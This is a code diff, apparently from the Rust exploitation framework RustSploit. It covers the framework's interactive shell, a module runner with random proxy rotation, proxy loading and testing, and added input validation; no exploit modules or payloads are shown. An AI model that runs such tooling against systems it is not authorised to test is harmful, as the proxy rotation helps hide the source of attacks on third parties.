while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("No module selected. Use 'use <module>' first.");
|
||||
}
|
||||
},
|
||||
_ => {
|
||||
println!("Unknown command: '{}'. Type 'help' for usage.", input);
|
||||
},
|
||||
None => {
|
||||
println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -190,14 +337,17 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
|
||||
let mut rng = rand::rng();
|
||||
let choices: Vec<&String> = proxy_list
|
||||
.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
.iter()
|
||||
.filter(|p| !tried_proxies.contains(*p))
|
||||
.collect();
|
||||
|
||||
if let Some(choice) = choices.choose(&mut rng) {
|
||||
choice.to_string()
|
||||
(*choice).clone()
|
||||
} else {
|
||||
proxy_list.choose(&mut rng).unwrap().to_string()
|
||||
// Fallback if all have been tried
|
||||
proxy_list.choose(&mut rng)
|
||||
.map(|s| s.clone())
|
||||
.unwrap_or_else(|| proxy_list[0].clone())
|
||||
}
|
||||
}
|
||||
|
||||
@@ -212,3 +362,242 @@ fn clear_proxy_env_vars() {
|
||||
env::remove_var("HTTP_PROXY");
|
||||
env::remove_var("HTTPS_PROXY");
|
||||
}
|
||||
|
||||
fn split_command(input: &str) -> Option<(String, String)> {
|
||||
let mut parts = input.splitn(2, char::is_whitespace);
|
||||
let cmd = parts.next()?.to_lowercase();
|
||||
let rest = parts.next().unwrap_or("").trim().to_string();
|
||||
Some((cmd, rest))
|
||||
}
|
||||
|
||||
fn resolve_command(cmd: &str) -> String {
|
||||
match cmd {
|
||||
"?" | "help" | "h" => "help",
|
||||
"modules" | "list" | "ls" | "m" => "modules",
|
||||
"find" | "search" | "f" | "f1" => "find",
|
||||
"proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
|
||||
"proxy_on" | "pon" | "proxyon" => "proxy_on",
|
||||
"proxy_off" | "poff" | "proxyoff" => "proxy_off",
|
||||
"proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
|
||||
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
|
||||
"use" | "u" => "use",
|
||||
"set" | "target" => "set",
|
||||
"run" | "go" | "exec" => "run",
|
||||
"back" | "b" | "clear" | "reset" => "back",
|
||||
"exit" | "quit" | "q" => "exit",
|
||||
other => other,
|
||||
}
|
||||
.to_string()
|
||||
}
|
||||
|
||||
fn sanitize_module_path(input: &str) -> Option<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if trimmed.contains("..") || trimmed.contains('\\') {
|
||||
return None;
|
||||
}
|
||||
let valid = trimmed.chars().all(|c| {
|
||||
matches!(
|
||||
c,
|
||||
'a'..='z'
|
||||
| 'A'..='Z'
|
||||
| '0'..='9'
|
||||
| '/'
|
||||
| '_'
|
||||
| '-'
|
||||
)
|
||||
});
|
||||
if valid {
|
||||
Some(trimmed.to_string())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
fn sanitize_target(input: &str) -> std::result::Result<String, &'static str> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err("Target cannot be empty.");
|
||||
}
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err("Target value is too long.");
|
||||
}
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err("Target cannot contain control characters.");
|
||||
}
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn render_help() {
|
||||
println!();
|
||||
println!("{}", "RustSploit Command Palette".bold().underline());
|
||||
println!(
|
||||
"{}",
|
||||
"Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
|
||||
.dimmed()
|
||||
);
|
||||
println!();
|
||||
|
||||
let entries = vec![
|
||||
("help", "help | h | ?", "Show this screen"),
|
||||
("modules", "modules | ls | m", "List available modules"),
|
||||
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
|
||||
("use", "use <path> | u <path>", "Select a module to run"),
|
||||
("set target", "set target <value>", "Set current target host/IP"),
|
||||
("run", "run | go", "Execute selected module (with proxy rotation)"),
|
||||
("back", "back | b | clear | reset", "Clear current module and target"),
|
||||
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
|
||||
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
|
||||
("proxy_off", "proxy_off | poff", "Disable proxy usage"),
|
||||
("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
|
||||
("show_proxies", "show_proxies | proxies", "Display proxy status"),
|
||||
("exit", "exit | quit | q", "Leave the shell"),
|
||||
];
|
||||
|
||||
println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
|
||||
println!("{}", "-".repeat(72).dimmed());
|
||||
for (cmd, shortcuts, desc) in entries {
|
||||
println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
|
||||
}
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
"Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
|
||||
.dimmed()
|
||||
);
|
||||
println!();
|
||||
}
|
||||
|
||||
async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded to test.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let total = ctx.proxy_list.len();
|
||||
let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
|
||||
let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
|
||||
let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
|
||||
|
||||
println!(
|
||||
"[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
|
||||
total,
|
||||
if total == 1 { "y" } else { "ies" },
|
||||
timeout_secs,
|
||||
max_parallel
|
||||
);
|
||||
|
||||
let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
|
||||
let working_count = summary.working.len();
|
||||
let failed = summary.failed;
|
||||
let working = summary.working;
|
||||
|
||||
if working_count == 0 {
|
||||
println!("{}", "[-] No proxies passed the connectivity test.".red());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] {} proxies passed the connectivity test.", working_count).green()
|
||||
);
|
||||
}
|
||||
|
||||
if !failed.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] {} proxies failed validation:", failed.len()).yellow()
|
||||
);
|
||||
for failure in &failed {
|
||||
println!(" {} -> {}", failure.proxy, failure.reason);
|
||||
}
|
||||
}
|
||||
|
||||
ctx.proxy_list = working;
|
||||
|
||||
if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
|
||||
ctx.proxy_enabled = false;
|
||||
clear_proxy_env_vars();
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt_for_path(message: &str) -> io::Result<String> {
|
||||
loop {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let value = input.trim();
|
||||
if !value.is_empty() {
|
||||
return Ok(value.to_string());
|
||||
}
|
||||
println!("Path cannot be empty. Please try again.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
print!("{} [{}]: ", message, default_hint);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Please answer with 'y' or 'n'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
|
||||
loop {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match trimmed.parse::<u64>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
|
||||
loop {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
match trimmed.parse::<usize>() {
|
||||
Ok(value) if value > 0 => return Ok(value),
|
||||
_ => println!("Invalid number. Please enter a positive integer."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
+531
-52
@@ -2,55 +2,182 @@
|
||||
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader, Error};
|
||||
use std::io::{BufRead, BufReader};
|
||||
use std::path::Path;
|
||||
use anyhow::{Result};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use reqwest;
|
||||
use tokio::sync::Semaphore;
|
||||
use url::Url;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
|
||||
/// always return a valid “host:port” or “[ipv6]:port” string.
|
||||
/// Maximum length for target strings to prevent DoS
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for module paths
|
||||
const MAX_MODULE_PATH_LENGTH: usize = 512;
|
||||
|
||||
/// Maximum file size to read (10MB) - prevents reading huge files
|
||||
const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
|
||||
|
||||
/// Maximum number of proxies to process
|
||||
const MAX_PROXIES: usize = 100000;
|
||||
|
||||
/// Maximum parallel proxy tests
|
||||
const MAX_PARALLEL_PROXIES: usize = 1000;
|
||||
|
||||
/// Maximum timeout for proxy tests (5 minutes)
|
||||
const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
|
||||
|
||||
/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
|
||||
/// always return a valid "host:port" or "[ipv6]:port" string.
|
||||
///
|
||||
/// # Security
|
||||
/// - Validates input length to prevent DoS
|
||||
/// - Sanitizes input to prevent injection
|
||||
/// - Validates hostname format
|
||||
pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
if raw.contains("]:") || raw.starts_with('[') {
|
||||
// Already normalized, like [::1]:8080 or [2001:db8::1]
|
||||
return Ok(raw.to_string());
|
||||
// Input validation
|
||||
let trimmed = raw.trim();
|
||||
|
||||
// Check length to prevent DoS
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters, got {})",
|
||||
MAX_TARGET_LENGTH,
|
||||
trimmed.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Basic sanitization - remove control characters and excessive whitespace
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
|
||||
.collect::<String>()
|
||||
.split_whitespace()
|
||||
.collect::<Vec<_>>()
|
||||
.join(" ");
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("Target contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if sanitized.contains("..") || sanitized.contains("//") {
|
||||
return Err(anyhow!("Invalid target format: contains path traversal characters"));
|
||||
}
|
||||
|
||||
// Handle already normalized formats
|
||||
if sanitized.contains("]:") || sanitized.starts_with('[') {
|
||||
// Validate the format
|
||||
if sanitized.starts_with('[') && !sanitized.contains(']') {
|
||||
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
|
||||
}
|
||||
// Basic validation - check it's not just brackets
|
||||
let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
|
||||
if inner.is_empty() {
|
||||
return Err(anyhow!("Invalid target: empty address"));
|
||||
}
|
||||
return Ok(sanitized.to_string());
|
||||
}
|
||||
|
||||
// Looks like an unwrapped IPv6 address if it has multiple colons
|
||||
let is_ipv6 = raw.matches(':').count() >= 2;
|
||||
|
||||
// Detect IPv6 addresses (multiple colons, no dots)
|
||||
let colon_count = sanitized.matches(':').count();
|
||||
let has_dots = sanitized.contains('.');
|
||||
|
||||
// IPv6 detection: multiple colons and no dots (or dots only in port)
|
||||
let is_ipv6 = colon_count >= 2 && !has_dots;
|
||||
|
||||
// Additional IPv6 validation
|
||||
if is_ipv6 {
|
||||
Ok(format!("[{}]", raw))
|
||||
// Check for valid IPv6 characters
|
||||
let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
|
||||
let addr_part = sanitized.split(':').next().unwrap_or("");
|
||||
if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
|
||||
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
|
||||
}
|
||||
Ok(format!("[{}]", sanitized))
|
||||
} else {
|
||||
Ok(raw.to_string())
|
||||
// Validate hostname/IPv4 format
|
||||
// Basic validation: no spaces, reasonable characters
|
||||
if sanitized.contains(' ') {
|
||||
return Err(anyhow!("Invalid target format: contains spaces"));
|
||||
}
|
||||
|
||||
// Check for valid hostname/IPv4 characters
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
|
||||
if !host_re.is_match(&sanitized) {
|
||||
return Err(anyhow!("Invalid target format: contains invalid characters"));
|
||||
}
|
||||
|
||||
Ok(sanitized.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Recursively list .rs files up to a certain depth (unchanged)
|
||||
/// Recursively list .rs files up to a certain depth with security checks
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
if depth > MAX_DEPTH || !dir.exists() {
|
||||
// Depth limit to prevent infinite recursion
|
||||
if depth > MAX_DEPTH {
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Validate directory exists and is readable
|
||||
if !dir.exists() {
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Prevent path traversal - ensure we're within src/modules
|
||||
let modules_base = Path::new("src/modules");
|
||||
if !dir.starts_with(modules_base) && depth > 0 {
|
||||
// Only allow traversal within src/modules
|
||||
return modules;
|
||||
}
|
||||
|
||||
if let Ok(entries) = fs::read_dir(dir) {
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
// Read directory with error handling
|
||||
let entries = match fs::read_dir(dir) {
|
||||
Ok(entries) => entries,
|
||||
Err(_) => return modules, // Silently skip unreadable directories
|
||||
};
|
||||
|
||||
if path.is_dir() {
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
let relative_path = path
|
||||
.strip_prefix("src/modules")
|
||||
.unwrap_or(&path)
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // For Windows
|
||||
modules.push(relative_path);
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
|
||||
// Check for symlinks that might cause issues
|
||||
if path.is_symlink() {
|
||||
continue; // Skip symlinks for security
|
||||
}
|
||||
|
||||
if path.is_dir() {
|
||||
// Recursively collect from subdirectories
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
// Only process .rs files, skip mod.rs
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
// Validate path length
|
||||
let relative_path = match path.strip_prefix("src/modules") {
|
||||
Ok(rel) => rel,
|
||||
Err(_) => &path, // Fallback to full path if strip fails
|
||||
};
|
||||
|
||||
let path_str = relative_path
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // Windows path normalization
|
||||
|
||||
// Validate path length
|
||||
if path_str.len() <= MAX_MODULE_PATH_LENGTH {
|
||||
modules.push(path_str);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -59,13 +186,27 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
modules
|
||||
}
|
||||
|
||||
/// Dynamically checks if a module path exists at any depth (unchanged)
|
||||
/// Dynamically checks if a module path exists at any depth with validation
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
// Input validation
|
||||
if module_path.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
if module_path.len() > MAX_MODULE_PATH_LENGTH {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if module_path.contains("..") || module_path.contains("//") {
|
||||
return false;
|
||||
}
|
||||
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/ (unchanged)
|
||||
/// Lists all available modules recursively under src/modules/
|
||||
pub fn list_all_modules() {
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
@@ -93,8 +234,20 @@ pub fn list_all_modules() {
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword (unchanged)
|
||||
/// Finds and displays modules matching a keyword with validation
|
||||
pub fn find_modules(keyword: &str) {
|
||||
// Input validation
|
||||
if keyword.is_empty() {
|
||||
println!("{}", "Keyword cannot be empty.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
// Limit keyword length
|
||||
if keyword.len() > 100 {
|
||||
println!("{}", "Keyword too long (max 100 characters).".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
|
||||
@@ -134,32 +287,358 @@ pub fn find_modules(keyword: &str) {
|
||||
}
|
||||
}
|
||||
|
||||
/// Parses a single proxy line (unchanged)
|
||||
fn parse_proxy_line(line: &str) -> String {
|
||||
let trimmed = line.trim().to_lowercase();
|
||||
if trimmed.starts_with("http://")
|
||||
|| trimmed.starts_with("https://")
|
||||
|| trimmed.starts_with("socks4://")
|
||||
|| trimmed.starts_with("socks5://")
|
||||
{
|
||||
line.to_string()
|
||||
} else {
|
||||
format!("http://{}", line)
|
||||
}
|
||||
const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyParseError {
|
||||
pub line_number: usize,
|
||||
pub content: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
|
||||
let file = fs::File::open(filename)?;
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyLoadSummary {
|
||||
pub proxies: Vec<String>,
|
||||
pub skipped: Vec<ProxyParseError>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyTestFailure {
|
||||
pub proxy: String,
|
||||
pub reason: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ProxyTestSummary {
|
||||
pub working: Vec<String>,
|
||||
pub failed: Vec<ProxyTestFailure>,
|
||||
}
|
||||
|
||||
/// Validates and sanitizes a proxy URL
|
||||
fn validate_proxy_url(url: &Url) -> Result<()> {
|
||||
// Check scheme
|
||||
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
|
||||
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
|
||||
}
|
||||
|
||||
// Validate host
|
||||
let host = url.host_str()
|
||||
.ok_or_else(|| anyhow!("missing proxy host"))?;
|
||||
|
||||
// Validate host length
|
||||
if host.is_empty() {
|
||||
return Err(anyhow!("proxy host cannot be empty"));
|
||||
}
|
||||
|
||||
if host.len() > 253 { // Max DNS hostname length
|
||||
return Err(anyhow!("proxy host too long (max 253 characters)"));
|
||||
}
|
||||
|
||||
// Validate hostname format (basic check)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !host_re.is_match(host) {
|
||||
return Err(anyhow!("invalid proxy host format"));
|
||||
}
|
||||
|
||||
// Check for localhost/private IP abuse (warning only, not blocking)
|
||||
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
|
||||
// Allow but could log warning in production
|
||||
}
|
||||
|
||||
// Validate port
|
||||
let port = url.port()
|
||||
.ok_or_else(|| anyhow!("missing proxy port"))?;
|
||||
|
||||
if port == 0 {
|
||||
return Err(anyhow!("proxy port cannot be 0"));
|
||||
}
|
||||
|
||||
// Port is already validated to be in u16 range (0-65535) by Url::parse
|
||||
// We just need to check it's not 0 (already checked above)
|
||||
// Additional validation: check for common restricted ports if needed
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to normalise and validate a proxy entry with enhanced security
|
||||
fn normalize_proxy_candidate(line: &str) -> Result<String> {
|
||||
let trimmed = line.trim();
|
||||
|
||||
// Input validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("empty line"));
|
||||
}
|
||||
|
||||
// Length check to prevent DoS
|
||||
if trimmed.len() > 2048 {
|
||||
return Err(anyhow!("proxy line too long (max 2048 characters)"));
|
||||
}
|
||||
|
||||
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| {
|
||||
let ch = *c;
|
||||
!ch.is_control() || ch == '\n' || ch == '\r'
|
||||
})
|
||||
.collect();
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("proxy line contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Add scheme if missing
|
||||
let candidate = if sanitized.contains("://") {
|
||||
sanitized
|
||||
} else {
|
||||
format!("http://{}", sanitized)
|
||||
};
|
||||
|
||||
// Parse URL
|
||||
let url = Url::parse(&candidate)
|
||||
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
|
||||
|
||||
// Validate the proxy URL
|
||||
validate_proxy_url(&url)?;
|
||||
|
||||
Ok(candidate)
|
||||
}
|
||||
|
||||
/// Load proxies from a file with enhanced security and validation
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
|
||||
// Input validation
|
||||
if filename.is_empty() {
|
||||
return Err(anyhow!("filename cannot be empty"));
|
||||
}
|
||||
|
||||
// Path validation - prevent path traversal
|
||||
let path = Path::new(filename);
|
||||
|
||||
// Check for path traversal attempts
|
||||
if filename.contains("..") {
|
||||
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
|
||||
}
|
||||
|
||||
// Resolve to absolute path to check
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
|
||||
|
||||
// Check file exists and is a regular file
|
||||
if !canonical.is_file() {
|
||||
return Err(anyhow!("'{}' is not a regular file", filename));
|
||||
}
|
||||
|
||||
// Check file size to prevent reading huge files
|
||||
let metadata = fs::metadata(&canonical)
|
||||
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
|
||||
|
||||
if metadata.len() > MAX_FILE_SIZE {
|
||||
return Err(anyhow!(
|
||||
"file too large (max {} bytes, got {} bytes)",
|
||||
MAX_FILE_SIZE,
|
||||
metadata.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Open file
|
||||
let file = fs::File::open(&canonical)
|
||||
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
for line in reader.lines() {
|
||||
let line = line?.trim().to_string();
|
||||
if !line.is_empty() {
|
||||
proxies.push(parse_proxy_line(&line));
|
||||
let mut skipped = Vec::new();
|
||||
let mut line_count = 0usize;
|
||||
|
||||
for (idx, line_res) in reader.lines().enumerate() {
|
||||
line_count = idx + 1;
|
||||
|
||||
// Limit number of lines to process
|
||||
if line_count > MAX_PROXIES {
|
||||
skipped.push(ProxyParseError {
|
||||
line_number: line_count,
|
||||
content: format!("... (truncated after {} lines)", MAX_PROXIES),
|
||||
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
let raw_line = line_res
|
||||
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
|
||||
let trimmed = raw_line.trim();
|
||||
|
||||
// Skip empty lines and comments
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
|
||||
continue;
|
||||
}
|
||||
|
||||
match normalize_proxy_candidate(trimmed) {
|
||||
Ok(proxy) => proxies.push(proxy),
|
||||
Err(err) => skipped.push(ProxyParseError {
|
||||
line_number: idx + 1,
|
||||
content: if trimmed.len() > 100 {
|
||||
format!("{}...", &trimmed[..100])
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
},
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(proxies)
|
||||
if proxies.is_empty() {
|
||||
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
|
||||
}
|
||||
|
||||
// Limit number of proxies
|
||||
if proxies.len() > MAX_PROXIES {
|
||||
let original_count = proxies.len();
|
||||
proxies.truncate(MAX_PROXIES);
|
||||
return Err(anyhow!(
|
||||
"too many proxies (max {}, found {}). Truncated to {}",
|
||||
MAX_PROXIES,
|
||||
original_count,
|
||||
MAX_PROXIES
|
||||
));
|
||||
}
|
||||
|
||||
Ok(ProxyLoadSummary { proxies, skipped })
|
||||
}
|
||||
|
||||
/// Test proxies concurrently with enhanced validation and resource limits
|
||||
pub async fn test_proxies(
|
||||
proxies: &[String],
|
||||
test_url: &str,
|
||||
timeout_secs: u64,
|
||||
max_parallel: usize,
|
||||
) -> ProxyTestSummary {
|
||||
// Input validation
|
||||
if proxies.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate and limit inputs
|
||||
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
|
||||
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
|
||||
|
||||
// Limit number of proxies to test
|
||||
let proxies_to_test = if proxies.len() > MAX_PROXIES {
|
||||
&proxies[..MAX_PROXIES]
|
||||
} else {
|
||||
proxies
|
||||
};
|
